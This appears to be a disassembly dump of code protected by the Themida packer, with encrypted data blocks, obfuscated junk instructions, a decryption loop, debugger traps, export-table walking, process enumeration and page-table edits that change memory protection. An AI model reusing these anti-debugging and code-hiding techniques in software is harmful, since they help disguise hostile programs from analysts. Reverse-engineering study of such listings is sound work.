8B000000h, 1EE83DEh, 27850Fh dd 8D0F0000h, 0Bh, 89E28160h, 0F279C08h, 0E961D8B7h, 29h dd 23B35497h, 4349AFF8h, 7BF963DBh, 9598FBCh, 0DA81666Ch dd 5CE9B03Ch, 1BFFFFFFh, 8031B5ABh, 0A0D1275Ch, 46DA38ABh dd 13CE909h, 4Fh dup(0) dd 0BD830000h, 6101AD9h, 0B6840F01h, 6A000005h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0FBD2C350h, 137FE00Dh, 1800F22h, 0FC000000h, 0AE9h dd 3E780E00h, 1BA1759Ah, 0C6A3EFE3h, 1023E585h, 0DE94306h dd 7A000000h, 0A594280Bh, 0AB9FB2Eh, 557036FDh, 4E8h, 0A5D0F500h dd 0EE9ECh, 8D2B0000h, 31FF77C1h, 53CCF8AAh, 1FA1D196h dd 5E950h, 12E40000h, 8B6B0A97h, 50042444h, 68D0F52h, 0F000000h dd 8Ah, 0F310F00h, 687h, 860F00h, 5A000000h, 0E9008B58h dd 10h, 0A36B7DAh, 0A825C8C4h, 4E08C30h, 0A17BAC25h, 4244489h dd 7E95250h, 60000000h, 0C3AC2D3Bh, 310F8A3Dh, 52505250h dd 585A310Fh, 5250310Fh, 585A310Fh, 585A585Ah, 1800F58h dd 0FC000000h, 1D45B5FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 29392BC3h, 58D0E6F1h dd 6660F914h, 0FF32DBFh, 286h, 615B5100h, 0FE9h, 249DF600h dd 828A8F17h, 35377662h, 0E589FED3h, 858A858Dh, 0E9600613h dd 9, 8A9D141Ah, 35C57108h, 61F88AD9h, 0BB60D0FFh, 273297E1h dd 0AE9h, 0ED609400h, 42AC56BDh, 61E085BDh, 8B98589h, 0FC600610h dd 0C78B6652h, 85C6615Fh, 61023E5h, 4E8F850h, 56000000h dd 0E9A8ADADh, 12h, 918B5298h, 9E6B7DBBh, 9E302A4Eh, 632BB765h dd 60505089h, 24448B61h, 0E9525004h, 6, 0E928A61Eh, 310FE1C4h dd 0F525060h, 8B585A31h, 585A61FAh, 5660008Bh, 77C7F6BEh dd 89615857h, 0E9042444h, 0Ch, 12A2EEB4h, 430E8ED5h, 5C881676h dd 1820F58h, 0F8000000h, 1D45B5FFh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 840F56C3h dd 13h, 0EE9h, 0C81D9D00h, 0A38DCD04h, 69F57B20h, 8D9DFABDh dd 13858A85h, 0D0FFF506h, 8A0F60h, 60000000h, 88A0BA66h dd 6135CE80h, 21858961h, 0F061020h, 0C8Dh, 6890F00h, 0F000000h dd 8Bh, 2FE46800h, 10E9D6FCh, 99000000h, 0FAA7C8E6h, 7B32943Fh dd 0D5F15FFh, 81B1717Ch, 87CB2434h, 6A2673h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 1F092AC3h dd 6003FFF9h, 0FE8h, 0FA4DE200h, 2DE29A8Dh, 52A3B76Dh dd 0DEBE6794h, 8B535EF9h, 0FC615ADFh, 1D45B5FFh, 6A0610h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 51F72CC3h, 0F94CB0E6h, 8160CC9Eh, 0FE693EAh, 0AE845h dd 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah, 5962E880h, 6E86061h dd 0C7000000h, 0E76F3Eh, 0D8BF0F23h, 2870F5Bh, 8B000000h dd 858D61DAh, 613858Ah, 6E9h, 5889DB00h, 0FF2A8AA7h, 0C880FD0h dd 0F000000h, 68Ah, 840F00h, 89000000h, 10061D85h, 85C6FC06h dd 61023E5h, 51006A50h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 4A64323Fh, 142F6852h, 8F0FDDF4h dd 10h, 0A860Fh, 5E90000h, 46000000h, 1B65EA77h, 79243481h dd 6A4A68C8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 3D7EC352h, 6660D657h, 0FE9CA8Bh dd 0EC000000h, 0B395F859h, 2A5FFC12h, 429AED57h, 0FF61756Bh dd 101499B5h, 0CE906h, 37DB0000h, 0CB9BD300h, 94FA7AE1h dd 858D218Fh, 6103A32h, 6810F60h, 0F000000h, 8Ch, 0D68B6600h dd 0F9D0FF61h, 0FE9h, 0C7ECF800h, 0C78E2C23h, 2E645665h dd 25B92CC4h, 2F958589h, 0E8600610h, 0Ch, 792E935Dh, 0C2BAA86Fh dd 0FCEB6D19h, 6159F18Bh, 10E9h, 0A752DC00h, 256D5BE4h dd 0A661A1BBh, 2EBE3779h, 187E9FEh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0DA8EE9C3h dd 6167CBCh, 1839BE60h, 8D0F3AD2h, 5, 0D0DF3EBEh, 66606112h dd 0B966D08Bh, 5061CFB2h, 8D0F5250h, 0Dh, 8E9h, 0F3239C00h dd 4EA252B9h, 50310F46h, 0F616052h, 0F525031h, 5A585A31h dd 89585A58h, 0AE9242Ch, 6C000000h, 0C72824E0h, 127BA7EFh dd 6AEC8B14h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E95EC355h, 0Ch, 0AE7CB40Dh, 21063BA3h dd 61B76BF4h, 0FFCC483h, 880h, 28B0F00h, 60000000h, 890F6061h dd 1, 0E8F8h, 815A0000h, 1593FBEAh, 0FC45C706h, 0 ; --------------------------------------------------------------------------- cmp dword ptr [edx+6101AD9h], 1 jz loc_5A4919 push edx push 0 push 0Fh call dword ptr [edx+61008B9h] pop edx mov [edx+6158DBFh], eax lea ebx, [edx+6158DC3h] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+6102021h] pop edx loc_5A48A9: ; CODE XREF: Themida_:005A48D3j ; Themida_:005A4907j push edx lea ebx, [edx+6158DC3h] push ebx push dword ptr [edx+6158DBFh] call dword ptr [edx+6102F95h] pop edx or eax, eax jz short loc_5A4912 lea ebx, [edx+6158DC3h] lea edi, [ebx+24h] xor ecx, ecx loc_5A48CD: ; CODE XREF: Themida_:005A48DDj cmp ecx, 104h jz short loc_5A48A9 inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5A48CD lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+610025Dh] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+610025Dh] push eax call dword ptr [edx+610061Dh] pop edx or eax, eax jnz short loc_5A48A9 mov dword ptr [ebp-4], 1 jmp short loc_5A4919 ; --------------------------------------------------------------------------- loc_5A4912: ; CODE XREF: Themida_:005A48C0j mov dword ptr [ebp-4], 0 loc_5A4919: ; CODE XREF: Themida_:005A487Bj ; Themida_:005A4910j popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- cmc jno loc_5A4929 stc loc_5A4929: ; CODE XREF: Themida_:005A4922j mov edx, edx lea ecx, [ebp+6159583h] push 0 push ebp call sub_5A493C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A493C proc near ; CODE XREF: Themida_:005A4934p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5A493C endp ; --------------------------------------------------------------------------- sub bh, [edi+7Dh] xchg eax, ds:0C9EC8031h or [ebp+6100DE1h], edx push esi ja loc_5A4967 sbb bx, 0F56h loc_5A4967: ; CODE XREF: Themida_:005A495Cj pop edi mov [ebp+61009F5h], ecx movsx edx, ax mov dword ptr [ebp+6102319h], 5D64h push 0 push ebx call sub_5A4986 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A4986 proc near ; CODE XREF: Themida_:005A497Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5A4986 endp ; --------------------------------------------------------------------------- dw 0ACF7h dd 5BCC606Dh, 0E4DE8166h, 0DBBF0F4Ah, 22C185C7h, 610h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 9290B1C3h, 0BD89A8DAh, 61021BDh, 11EDB5FFh dd 0FFF80610h, 102DB995h, 0A1950106h, 6A061005h, 0C995FF00h dd 8B061031h, 0EF68EBC0h, 19D2F850h, 4FBFFD9Dh, 618AEC0Dh dd 9EC500B9h, 0CD8426E0h, 74D0F20Dh, 0F616EC39h, 0E6EACE11h dd 0C00FE4DBh, 102FA0F5h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h dd 4D7100A5h, 5AE8E707h, 445105E7h, 0E93D30DFh, 7F65D6C7h dd 1923220Eh, 0E904246Ch, 3774B6D8h, 7AAF5353h, 208AA5B8h dd 918F8458h, 424EE637h, 0E8D07A97h, 0Ch, 2685D34Ah, 0D1015957h dd 0B3A39FAh, 0BE9h, 507D1E00h, 7941F6C6h, 0ECB22988h dd 41F1815Fh, 81501048h, 648DC7h, 0B5BD8900h, 0BA06101Dh dd 0 dd 893A34FFh, 101E018Dh, 0C3815B06h, 673B0C5Ch, 2318589h dd 0F3810610h, 54C1FF32h, 1358D8Bh, 0EB810610h, 75731C93h dd 10E8h, 7ADC9300h, 0D60656B7h, 8EE11756h, 0F8B072A2h dd 11E9B2h, 55CD0000h, 74B18E8Eh, 674B728h, 0CD17E2D4h dd 5E3AC00Eh, 8F21B453h, 13E81704h, 0B8000000h, 7A038179h dd 0A14D33B4h, 0B7C260C3h, 0C1C6B52Eh, 816689FAh, 5EB492E8h dd 286DBD29h, 0EA830610h, 9D8D3103h, 4A06102Eh, 0B458501h dd 0FA810610h, 0FFFF9C6Ch, 14850Fh, 8B0F0000h, 2, 22E9CF8Bh dd 0CF000000h, 0C4576B54h, 0F38BDD47h, 0FFFF4BE9h, 91A8CCFFh dd 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 22A560DCh, 798D8D88h dd 89061597h, 101D1D8Dh, 0F58D8906h, 6A061009h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 5F98C356h, 1985C756h, 54061023h, 0F000073h, 85C7C6BFh dd 61022C1h, 0 ; --------------------------------------------------------------------------- mov esi, 7F04F66Bh push dword ptr [ebp+6102821h] push 0 push ebp call sub_5A4BBA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A4BBA proc near ; CODE XREF: Themida_:005A4BB2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5A4BBA endp ; --------------------------------------------------------------------------- ror byte ptr [esi], 0DDh and eax, 0FFB94FABh xchg eax, ebp mov ecx, 306102Dh mov ebp, 61005EDh push 0 loc_5A4BDF: ; DATA XREF: Themida_:0054D188o call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5A4C33 ; --------------------------------------------------------------------------- align 2 dw 3BB3h dd 53139E76h, 8B0E26Fh, 10966097h, 1F6BFCDEh, 0A7004B2Bh dd 0D26B51A2h, 0E6FF763Ah, 8CEFE606h, 0C9040411h, 28AE13ABh dd 803F0621h, 50178F5Ah, 221291F0h, 0DCFAF2FFh, 4C18C913h dd 44F90221h, 8A748BC7h db 79h, 43h, 0Bh ; --------------------------------------------------------------------------- loc_5A4C33: ; CODE XREF: Themida_:005A4BE7j call sub_5A4C3D mov ebx, 811C0242h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5A4C3D proc near ; CODE XREF: Themida_:loc_5A4C33p jmp sub_5A4C50 sub_5A4C3D endp ; --------------------------------------------------------------------------- dw 6988h ; --------------------------------------------------------------------------- stosb add [eax+edx*2-1CB50861h], cl int 3 ; Trap to Debugger dec esp push ebp xchg eax, edi ; =============== S U B R O U T I N E ======================================= sub_5A4C50 proc near ; CODE XREF: sub_5A4C3Dj pop ecx add ecx, 72E6h mov esi, 0 or [ebp+610123Dh], edx loc_5A4C62: ; CODE XREF: sub_5A4C50+5Dj push dword ptr [esi+ecx] jg $+6 pop eax add eax, 71A1358Eh mov dx, cx xor eax, 97D2A09h add [ebp+610024Dh], edi sub eax, 1A2C2F9Bh or edi, [ebp+61001DDh] mov [ecx+esi], eax mov edx, [ebp+6100BD9h] jle loc_5A4C9E mov bl, 71h loc_5A4C9E: ; CODE XREF: sub_5A4C50+46j sub esi, 4 ja $+6 cmp esi, 0FFFF8DA8h jnz loc_5A4C62 call near ptr loc_5A4CC1+2 into and [edi+esi*2-70039D80h], ebp cdq loc_5A4CC1: ; CODE XREF: sub_5A4C50+63p bound ebx, [ebx+20859D8Bh] sub_5A4C50 endp ; sp-analysis failed adc [esi], al pop edi jmp loc_5A4E97 ; --------------------------------------------------------------------------- dd offset loc_418886+2 dd offset loc_418886+2 dd offset loc_418886+2 dd offset loc_418886+2 dd offset loc_418886+2 dd offset loc_418886+2 dd offset loc_418886+2 dd offset loc_418886+2 align 10h dd 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 3000000h, 14h dup(0) dd 0C2000000h, 8E29000Ch, 1000075h, 11h dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A4E97: ; CODE XREF: Themida_:005A4CCAj jmp loc_5A51EF ; =============== S U B R O U T I N E ======================================= sub_5A4E9C proc near ; DATA XREF: Themida_:0054E8FCo push ebp call $+5 pop ebp sub ebp, 6159A37h pusha mov dword ptr [ebp+6159984h], 0 cmp word ptr [esi], 0A166h jnz loc_5A4ECE mov dword ptr [ebp+6159988h], 6 jmp loc_5A4EF2 ; --------------------------------------------------------------------------- loc_5A4ECE: ; CODE XREF: sub_5A4E9C+1Dj lea eax, [ebp+615998Ch] push eax lea eax, [ebp+61599DCh] push eax push esi push 0 call sub_5A4F01 add esp, 10h and eax, 0FFh mov [ebp+6159988h], eax loc_5A4EF2: ; CODE XREF: sub_5A4E9C+2Dj popa add esi, [ebp+6159988h] mov eax, [ebp+6159984h] pop ebp retn sub_5A4E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A4F01 proc near ; CODE XREF: sub_5A4E9C+43p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_615997C = dword ptr 6159984h push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5A4F2E mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5A4F3A ; --------------------------------------------------------------------------- loc_5A4F2E: ; CODE XREF: sub_5A4F01+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5A4F3A: ; CODE XREF: sub_5A4F01+28j push ebx push esi push edi loc_5A4F3D: ; CODE XREF: sub_5A4F01+91j ; sub_5A4F01+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5A4F50: ; CODE XREF: sub_5A4F01+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6159AEEh lea ebp, [ebp+6159964h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5A4F7D inc cl cmp cl, 0Bh jb loc_5A4F50 loc_5A4F7D: ; CODE XREF: sub_5A4F01+6Bj cmp cl, 0Bh jz loc_5A4FDA cmp al, 66h jnz loc_5A4FBB cmp [ebp+var_5], 0 jnz loc_5A4F3D cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5A4FB3 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5A4F3D ; --------------------------------------------------------------------------- loc_5A4FB3: ; CODE XREF: sub_5A4F01+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5A4FBB: ; CODE XREF: sub_5A4F01+87j cmp al, 67h jnz loc_5A4F3D cmp [ebp+var_6], 0 jnz loc_5A4F3D xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5A4F3D ; --------------------------------------------------------------------------- loc_5A4FDA: ; CODE XREF: sub_5A4F01+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5A5006 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5A500B ; --------------------------------------------------------------------------- loc_5A5006: ; CODE XREF: sub_5A4F01+E4j movzx edi, al shr edi, 1 loc_5A500B: ; CODE XREF: sub_5A4F01+100j push ebp call $+5 pop ebp sub ebp, 6159BA6h lea ebp, [ebp+6159864h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5A518D mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5A50D1 dec ecx jz loc_5A50B4 dec ecx jnz loc_5A5124 cmp [ebp+var_2], 0 jnz loc_5A5120 cmp [ebp+var_5], 0 jz loc_5A5093 mov byte ptr [ebp+arg_0+3], 2 loc_5A5093: ; CODE XREF: sub_5A4F01+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 6159C32h mov [ebp+arg_615997C], 1 pop ebp jmp loc_5A5124 ; --------------------------------------------------------------------------- loc_5A50B4: ; CODE XREF: sub_5A4F01+16Dj cmp [ebp+var_2], 0 jnz loc_5A50FE cmp [ebp+var_5], 0 jz loc_5A50FE mov byte ptr [ebp+arg_0+3], 2 jmp loc_5A50FE ; --------------------------------------------------------------------------- loc_5A50D1: ; CODE XREF: sub_5A4F01+166j cmp [ebp+var_2], 0 jnz loc_5A5117 cmp [ebp+var_5], 0 jz loc_5A5106 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5A50FE mov byte ptr [ebp+arg_0+3], cl loc_5A50FE: ; CODE XREF: sub_5A4F01+1B7j ; sub_5A4F01+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5A5124 ; --------------------------------------------------------------------------- loc_5A5106: ; CODE XREF: sub_5A4F01+1DEj cmp dl, 5 jnz loc_5A5124 mov byte ptr [ebp+arg_0+3], dl jmp loc_5A5124 ; --------------------------------------------------------------------------- loc_5A5117: ; CODE XREF: sub_5A4F01+1D4j cmp dl, 6 jnz loc_5A5124 loc_5A5120: ; CODE XREF: sub_5A4F01+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5A5124: ; CODE XREF: sub_5A4F01+174j ; sub_5A4F01+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5A5152 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5A5134: ; CODE XREF: sub_5A4F01+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5A5134 mov esi, edx loc_5A5152: ; CODE XREF: sub_5A4F01+226j and al, 0FEh cmp al, 0F6h jnz loc_5A5187 cmp edi, 7Fh ja loc_5A5187 test bl, 38h jnz loc_5A5187 cmp [ebp+var_7], 0 jz loc_5A5181 movzx eax, [ebp+var_4] jmp loc_5A5184 ; --------------------------------------------------------------------------- loc_5A5181: ; CODE XREF: sub_5A4F01+271j push 1 pop eax loc_5A5184: ; CODE XREF: sub_5A4F01+27Bj mov [ebp+var_1], al loc_5A5187: ; CODE XREF: sub_5A4F01+255j ; sub_5A4F01+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5A518D: ; CODE XREF: sub_5A4F01+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5A51B8 dec eax dec eax jz loc_5A51AE and bl, 7 add [ebp+var_1], bl jmp loc_5A51C0 ; --------------------------------------------------------------------------- loc_5A51AE: ; CODE XREF: sub_5A4F01+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5A51BD ; --------------------------------------------------------------------------- loc_5A51B8: ; CODE XREF: sub_5A4F01+294j mov al, [ebp+var_3] add al, 4 loc_5A51BD: ; CODE XREF: sub_5A4F01+2B2j add [ebp+var_1], al loc_5A51C0: ; CODE XREF: sub_5A4F01+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5A51E8 movzx ecx, [ebp+var_1] inc ecx loc_5A51D3: ; CODE XREF: sub_5A4F01+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5A51D3 loc_5A51E8: ; CODE XREF: sub_5A4F01+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5A4F01 endp ; --------------------------------------------------------------------------- loc_5A51EF: ; CODE XREF: Themida_:loc_5A4E97j lea eax, [ebp+6159A31h] mov [ebp+6103491h], eax jmp loc_5A5466 ; --------------------------------------------------------------------------- pusha mov cx, ds test cl, 4 jz loc_5A5242 push 1 push dword ptr [ebp+6101499h] lea eax, [ebp+613858Ah] call eax mov [ebp+6101F35h], eax mov edi, esi shr edi, 0Ch push 20060000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+6101F35h] jmp loc_5A5274 ; --------------------------------------------------------------------------- loc_5A5242: ; CODE XREF: Themida_:005A5207j mov byte ptr [ebp+61023E5h], 56h push 0A9C530DFh push dword ptr [ebp+6101D45h] lea eax, [ebp+613858Ah] call eax mov [ebp+6101261h], eax lea eax, [ebp+6101DADh] push eax push 40h push 5 push esi call dword ptr [ebp+6101261h] loc_5A5274: ; CODE XREF: Themida_:005A523Dj popa retn ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A5282: ; DATA XREF: Themida_:0054D174o push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+6159E13h], eax mov eax, [edx+0Ch] mov [ebp+6159E0Bh], eax mov eax, [edx+10h] mov [ebp+6159E0Fh], eax lea esi, [ebp+6159E49h] lea eax, dword_5B8EA1[ebp] call eax popa pop edx retn 0Ch ; --------------------------------------------------------------------------- mov esi, [ebp+6159E13h] mov eax, [ebp+6159E0Bh] cmp dword ptr [ebp+6159E0Fh], 0 jz loc_5A52D4 mov [esi], eax jmp locret_5A52D6 ; --------------------------------------------------------------------------- loc_5A52D4: ; CODE XREF: Themida_:005A52C7j mov [esi], al locret_5A52D6: ; CODE XREF: Themida_:005A52CFj iret ; --------------------------------------------------------------------------- align 4 dd 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A52DF: ; DATA XREF: Themida_:0054B568o push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+6159E13h], eax lea esi, [ebp+6159E9Ah] lea eax, dword_5B8EA1[ebp] call eax popa pop edx mov eax, [ebp+6159E13h] retn 4 ; --------------------------------------------------------------------------- db 8Bh, 85h, 13h dd 8B06159Eh, 13858900h, 0CF06159Eh, 0 ; =============== S U B R O U T I N E ======================================= sub_5A5318 proc near ; DATA XREF: Themida_:0054D1DCo pusha mov [ebp+6159E70h], esi mov [ebp+6159E6Ch], eax lea eax, [ebp+6100CB5h] mov eax, [eax+44h] mov [ebp+6159EA9h], eax lea esi, [ebp+6159EDFh] lea eax, dword_5B8EA1[ebp] call eax popa mov eax, [ebp+6159E70h] retn sub_5A5318 endp ; --------------------------------------------------------------------------- mov ebx, [ebp+6159E6Ch] movzx eax, word ptr [ebx+3Ch] add ebx, eax mov ebx, [ebx+78h] add ebx, [ebp+6159E6Ch] mov esi, [ebx+24h] add esi, [ebp+6159E6Ch] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [ebp+6159E6Ch] add esi, [ebp+6159E6Ch] cld or ecx, 0FFFFFFFFh loc_5A537F: ; CODE XREF: Themida_:005A539Dj ; Themida_:005A53ACj inc ecx mov ebx, [ebp+6159E70h] mov edx, [edi] add edx, [ebp+6159E6Ch] add edi, 4 loc_5A5391: ; CODE XREF: Themida_:005A53A5j mov al, [edx] test al, al jz loc_5A53AA cmp al, [ebx] jnz loc_5A537F inc ebx inc edx jmp loc_5A5391 ; --------------------------------------------------------------------------- loc_5A53AA: ; CODE XREF: Themida_:005A5395j cmp al, [ebx] jnz loc_5A537F pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [ebp+6159E6Ch] mov [ebp+6159E70h], eax mov esi, eax mov ecx, esi mov eax, ecx cmp dword ptr [ebp+6159EA9h], 0C0300000h jnz loc_5A53EB shr eax, 14h and eax, 0FFCh jmp loc_5A53F3 ; --------------------------------------------------------------------------- loc_5A53EB: ; CODE XREF: Themida_:005A53D8j shr eax, 12h and eax, 3FF8h loc_5A53F3: ; CODE XREF: Themida_:005A53E6j mov edi, [ebp+6159EA9h] or dword ptr [edi+eax], 6 mov edx, [edi+eax] mov eax, edx and al, 81h cmp al, 81h mov eax, ecx jz locret_5A5465 cmp dword ptr [ebp+6159EA9h], 0C0300000h jnz loc_5A542B shr eax, 0Ah and eax, 3FFFFCh jmp loc_5A5433 ; --------------------------------------------------------------------------- loc_5A542B: ; CODE XREF: Themida_:005A5418j shr eax, 9 and eax, 7FFFF8h loc_5A5433: ; CODE XREF: Themida_:005A5426j sub eax, 40000000h or dword ptr [eax], 6 ; --------------------------------------------------------------------------- db 0F7h dd 8000h ; --------------------------------------------------------------------------- loc_5A5440: ; CODE XREF: Themida_:005A549Fj add [edi], cl test [esi], bl ; --------------------------------------------------------------------------- dd 81000000h, 159EA9BDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h ; --------------------------------------------------------------------------- push es locret_5A5465: ; CODE XREF: Themida_:005A5408j iret ; --------------------------------------------------------------------------- loc_5A5466: ; CODE XREF: Themida_:005A51FBj lea eax, [ebp+6159E17h] mov [ebp+6101D09h], eax lea eax, [ebp+6159EADh] mov [ebp+6101D71h], eax lea eax, [ebp+6159E74h] mov [ebp+61000FDh], eax int 3 ; Trap to Debugger adc [eax+1Ch], eax mov bp, 2864h mov eax, 21F12661h jnb short loc_5A54CB add eax, 794E3742h clc jb short loc_5A5440 call edi xchg ebx, esp xor byte ptr [eax-79h], 0A2h xor al, dh rep xor dl, dl loopne near ptr loc_5A54B3+4 db 36h push ds dec edx loc_5A54B3: ; CODE XREF: Themida_:005A54AEj mov dl, [esi-61CE0BEEh] aas mul dword ptr [edi] lahf xor [ecx], bh mov bh, 5Eh jo short near ptr loc_5A5535+3 or ebx, [eax+esi+3217384Eh] daa loc_5A54CB: ; CODE XREF: Themida_:005A5497j aaa lahf sbb dword ptr [ebp-1BDEDD4Ch], 0EB309927h mov bl, 0DBh xor [edx+37h], dh adc eax, 71B65FFCh sal ah, 0DEh test [ebx], dh dec esi aaa cmc xor [eax-21h], dh pushf xor [ebx+0A6FBF37h], dl push 33C04C16h push ds jz short near ptr loc_5A554D+4 xor eax, [ebx-27C8C6D0h] db 67h pop edi sub al, 87h out dx, al mov edx, 0B1BA5499h lea esi, [esi+3Fh] xchg eax, ebx aaa lahf loopne near ptr loc_5A5535+3 push 7C57EC05h xchg eax, edi cwde scasd cwde mov ebx, 120ED629h mov ch, 0A3h xchg eax, edi mov dh, [esi] fcompp st(7), st xchg eax, edi xor [edi], ah aaa test al, 98h ror dword ptr [eax+eax*2-2Fh], 8Fh mov cl, 0F9h loc_5A5535: ; CODE XREF: Themida_:005A54C1j ; Themida_:005A5511j mov ebx, 0A0CF6D14h rep out 91h, al adc [ebx-63DB888Ah], ch aaa lahf aam 0EDh fisub word ptr [edx+23h] lahf xchg eax, ebx lodsb loc_5A554D: ; CODE XREF: Themida_:005A54F9j or eax, 2794E0A9h mov ch, 14h or al, 0A4h retn 0B737h ; --------------------------------------------------------------------------- aas std db 36h lahf xor [ecx], bh retf ; --------------------------------------------------------------------------- dd 1619BDC5h, 8E48253Fh, 6EC80319h, 5A38F0Fh, 65991837h dd 37E42377h, 0B4C0869Fh, 0F9D1AB0Dh, 0A62186DCh, 882E46EAh dd 0A7350F17h, 6ECACB14h, 0C80BB00Fh, 3E9DA560h, 0B77D368Fh dd 3739309Ah, 2639F120h, 658EBB9Fh, 0DA796A25h, 8A106EA6h dd 31D92512h, 0B4ED459Fh, 2772A522h, 2E4D3099h, 0F71763CFh dd 374A4A27h, 52A2B99Fh, 0BA952091h, 25712502h, 6C37CF99h dd 